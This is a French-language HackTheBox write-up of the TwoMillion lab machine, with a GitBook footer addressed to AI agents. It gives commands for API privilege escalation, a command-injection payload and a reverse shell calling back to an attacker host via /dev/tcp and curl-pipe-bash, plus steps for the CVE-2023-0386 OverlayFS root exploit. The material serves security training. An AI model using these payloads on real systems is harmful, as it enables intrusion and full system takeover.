> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md).

# Compte rendu HackTheBox de TwoMillion

{% embed url="<https://app.hackthebox.com/machines/TwoMillion>" %}

{% hint style="warning" %}
**Compétences :**

* Abuser de l'API pour générer un code d'invitation valide
* Abuser de l'API pour élever nos privilèges au niveau administrateur
* Injection de commandes via une fonctionnalité d'API mal conçue
* Fuite d'informations
* Escalade de privilèges via exploitation du noyau (CVE-2023-0386) - vulnérabilité OverlayFS
  {% endhint %}

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/75cdd55108970ff674da9cc9214cd510aed65c2b" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/6af76fca41f7136d0cdb8828436582fc3760bd76" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.221 -oG allPorts
```

<figure><img src="/files/e2577e378a8ec92ff222ae56e834a41dd18e3d7f" alt=""><figcaption></figcaption></figure>

**Scan de version des ports avec Nmap :**

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p22,80 2million.htb-oN targeted
```

<figure><img src="/files/7b70ca5cf282ca467960989ecad252d3ee8c9adf" alt=""><figcaption></figcaption></figure>

## Port 80 - HTTP

<figure><img src="/files/eff48775bbc305989e14cd7593e22d9e8febbbb3" alt=""><figcaption></figcaption></figure>

#### Découverte des ressources avec Gobuster

```bash
gobuster dir -u http://2million.htb/ /
-w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt /
-t 100 -r --exclude-length 1674
```

<figure><img src="/files/5045fdf68812dfa35938e64298b4c9fdc2579304" alt=""><figcaption></figcaption></figure>

#### Découverte du `inviteapi.min.js` le fichier

Ce fichier JavaScript est fortement obfusqué à l'aide de la technique classique `eval(function(p,a,c,k,e,d){...})` Après la déobfuscation, deux fonctions intéressantes apparaissent :

* `verifyInviteCode(code)`: envoie un code d'invitation à `/api/v1/invite/verify`
* `makeInviteCode()`: effectue une requête vers `/api/v1/invite/how/to/generate`

<figure><img src="/files/5269c64c7c8644d3201c01b79b6aa4aa2bf2d272" alt=""><figcaption></figcaption></figure>

## Exploitation de l'API – Génération d'un code d'invitation

#### Appel initial :

```bash
curl -X POST /
     -H "Content-Type: application/json" /
     http://2million.htb/api/v1/invite/how/to/generate
```

Réponse

> {"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr","enctype":"ROT13"},"hint":"Les données sont chiffrées ... Nous devrions probablement vérifier le type de chiffrement afin de les déchiffrer..."}#

#### Déchiffrement ROT13 → nouvelle URL :

{% embed url="<https://rot13.com/>" %}

<figure><img src="/files/809fff7cfdb5ecc24b2e6796002ade79f04a583d" alt=""><figcaption></figcaption></figure>

Afin de générer le code d'invitation, envoyez une requête POST à /api/v1/invite/generate

#### Requête :

```bash
curl -X POST /
     -H "Content-Type: application/json" /
     http://amillion.htb/api/v1/invite/generate
```

<figure><img src="/files/786d896c3e61d8205353d9966111ef6fe632bd28" alt=""><figcaption></figcaption></figure>

Réponse (base64) :

* V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM=

Décodage :

```bash
echo "V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM=" | base64 -d; echo
```

WUOIF-LK68X-HUGTW-DOX1S

Nous utilisons ce code pour créer un compte sur le site.

<figure><img src="/files/07aa42544f52ac18acc9c51c5738b0e7d863a214" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b4637e53fabe7d75f12463654826980f7153e871" alt="" width="389"><figcaption></figcaption></figure>

## Exploitation de l'API HackTheBox

<figure><img src="/files/d23b210a695c3af56f6752738b402418901c7405" alt=""><figcaption></figcaption></figure>

#### Observation de l'API

En visitant `/api`, nous pouvons observer les routes disponibles.

<figure><img src="/files/e6aca34978a7e3559e5e807d1d3047ff7c45fe3e" alt=""><figcaption></figcaption></figure>

#### Tentative de génération de la configuration VPN (échec initial)

```bash
curl -v -X POST /
     -H "Content-Type: application/json" /
     --cookie "session=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate
```

Réponse : Interdit.

<figure><img src="/files/8916537356c2cea880817795b53073a63f4f4799" alt=""><figcaption></figcaption></figure>

#### Modification de notre rôle via l'API

<figure><img src="/files/c7e106560eb874dd1e5d03e9a33266572bc2e45c" alt=""><figcaption></figcaption></figure>

Nous testons la modification des paramètres utilisateur avec la route :

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update
```

> {"status":"danger","message":"Paramètre manquant : email"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com"}'
```

> {"status":"danger","message":"Paramètre manquant : is/\_admin"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com", "is_admin": 1}'
```

> Réponse :
>
> {"id":15,"username":"Jordan","is/\_admin":1}

<figure><img src="/files/fce649bb914165bddd7caf423a6d1bd3e75b2bc2" alt=""><figcaption></figcaption></figure>

#### Vérification de notre statut d'administrateur

```bash
curl -s -X GET /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/auth | jq
{
  "message": true
}
```

<figure><img src="/files/2b15eca09e5ad33423d22c9866e05cce67410ad5" alt="" width="563"><figcaption></figcaption></figure>

### RCE via injection de commandes

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan@jordan.com"}'
```

<figure><img src="/files/7cd8114194d05a65c8d7ed3a43ada723cbb1f99b" alt=""><figcaption></figcaption></figure>

Tentative d'injection de commande dans le champ `le nom d'utilisateur`:

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}'
```

<figure><img src="/files/44e3ccb3eab7f2e5fe519d7088c199208478c68c" alt=""><figcaption></figcaption></figure>

#### Shell inversé

1. **Serveur de fichiers**

```bash
echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html
python3 -m http.server 80
```

2. **Netcat à l'écoute**

```bash
nc -nvlp 443
```

3. **Envoi de la commande**

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}'    
```

Nous obtenons un shell inversé

<figure><img src="/files/ccd144f82564bbe07e88c73a2db055b91ebfd9a9" alt=""><figcaption></figcaption></figure>

## Élévation de privilèges

#### Découverte de fichiers sensibles

En recherchant les fichiers accessibles depuis notre shell, nous découvrons un fichier caché `.env` contenant les identifiants de la base de données :

```bash
DATABASE=htb_prod
USERNAME=admin
PASSWORD=SuperDuperPass123
```

<figure><img src="/files/8ac47a9b8eac114faf7748b64ae2e75364bd9681" alt=""><figcaption></figcaption></figure>

Nous remarquons aussi la présence d'un second utilisateur nommé `admin`.

<figure><img src="/files/63b692cee854fea9ba5c1000a8219f1c2e4c55f1" alt=""><figcaption></figcaption></figure>

#### Réutilisation du mot de passe

En testant les identifiants découverts, nous voyons que l'utilisateur système `admin` utilise le **même mot de passe** que le mot de passe de la base de données.

### Drapeau user.txt :)

<figure><img src="/files/03573af27ae6e191dd715f8464e098b559e02e4f" alt=""><figcaption></figcaption></figure>

Cette mauvaise pratique nous permet d'obtenir un **Connexion SSH**:

#### E-mail système

<figure><img src="/files/2edcf552c5aaff760be069bc4a14637a173f14c2" alt=""><figcaption></figcaption></figure>

Lors de la connexion, un message nous informe de la présence d'un **nouvel e-mail**. En le lisant, nous obtenons des informations cruciales :

> Salut admin,
>
> Je sais que tu travailles aussi vite que possible pour effectuer la migration de la base de données. Pendant que nous sommes partiellement hors service, peux-tu aussi mettre à niveau l'OS sur notre serveur web ? Il y a déjà eu quelques CVE sérieuses du noyau Linux cette année. Celle sur OverlayFS / FUSE a l'air méchante. On ne peut pas se faire compromettre par ça.

<figure><img src="/files/21fe94167fcdd612e671c6e45f92cb993ab11987" alt=""><figcaption></figcaption></figure>

Ce message nous met sur la piste d'une **vulnérabilité connue dans OverlayFS**:/ **CVE-2023-0386** – une vulnérabilité locale d'escalade de privilèges dans le noyau Linux.

## Exploitation de CVE-2023-0386 - Escalade de privilèges OverlayFS

> OverlayFS permet de superposer des systèmes de fichiers. Dans certaines versions du noyau Linux, une mauvaise gestion de la capacité permet à un utilisateur non privilégié d'exécuter du code avec **les droits root**.

{% embed url="<https://github.com/puckiestyle/CVE-2023-0386>" %}

**Étapes opératoires**

1. **Cloner l'exploit** depuis notre machine locale :

```bash
git clone https://github.com/puckiestyle/CVE-2023-0386
cd CVE-2023-0386
make all
```

2. **Transférer les fichiers compilés** vers la machine cible (`scp`, `python -m http.server`, etc.).

<figure><img src="/files/881a2c4c26688fb333feee6003253aca11fcd337" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/014403cc65d93a82f74c9588a421e181ca72f1ff" alt=""><figcaption></figcaption></figure>

2. **Sur la machine cible**, exécutez dans **deux terminaux**:

* Terminal A :

```bash
./fuse ./ovlcap/lower ./gc
```

* Terminal B :

```bash
./exp
```

Si tout se passe bien, nous obtenons un **root** shell

<figure><img src="/files/69f4d32510bd573e5103754acbbd4679c21e4de5" alt=""><figcaption></figcaption></figure>

### Drapeau root.txt :)

<figure><img src="/files/7677dbbffb52c33f0f10da7bb52161f4ed7f90af" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/291378e9f7ec02d4e4f14ac4fa1730e05c20e511" alt="" width="409"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
